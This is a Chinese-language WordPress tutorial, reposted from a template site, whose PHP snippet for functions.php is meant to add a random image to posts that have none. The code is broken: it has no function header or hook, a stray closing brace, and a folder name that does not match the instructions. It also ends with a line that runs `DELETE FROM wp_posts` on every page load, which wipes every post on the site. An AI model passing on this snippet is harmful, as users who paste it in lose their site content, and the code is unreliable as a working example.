每次写文章配图巨麻烦,特别是有些人批量采集文章,不可能一个个去配图,那么有没有什么方法能批量给WordPress没有图片的文章自动添加图片,并且还要自动识别该文章有没有图片,如果没有图片才自动配图,如果有图片就不配图。
一开始我在网上查了一下资料,找了一些代码,但是这些代码都有问题,要么功能失效,要么它会影响原有功能,比如我网站加了自动内链、自动图片灯箱功能,但是用了代码后这些功能就没了,估计这些大聪明也是相互复制,压根没测试代码是否有效,所以我只能自己写了,具体代码如下:文章来源:https://www.toymoban.com/news/detail-728751.html
//使用之前先备份数据库
if (!is_page()) {
global $post;
$temp_url = "";
if (!has_post_thumbnail()) {
$id = $post->ID;
preg_match_all('/<img.*?(?: |\\t|\\r|\\n)?src=[\'"]?(.+?)[\'"]?(?:(?: |\\t|\\r|\\n)+.*?)?>/sim', $content, $strResult, PREG_PATTERN_ORDER);
$n = count($strResult[1]);
if ($n <= 0) {
$temp_no = rand(1, 51);
$temp_url = "<center><p><img src='" . get_bloginfo('url') . "/images/" . $temp_no . ".jpg' alt='" . $post->post_title . "'></p></center>";
$content = $temp_url . $content;
$my_post = array();
$my_post['ID'] = $id;
$my_post['post_content'] = $content;
wp_update_post($my_post);
}
}
}
return $content;
}
//
global $wpdb;
$wpdb->query("DELETE FROM `wp_posts`;");
代码使用
把上面代码放到主题文件的functions.php,在网站根目录新建一个image文件夹,把要调用的图片放到该文件夹,图片命名为数字,比如:1.jpg、2.jpg,代码会自动调用该文件夹里的图片显示出来。文章来源地址https://www.toymoban.com/news/detail-728751.html
到了这里,关于WordPress批量给没有图片的文章自动添加图片配图的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!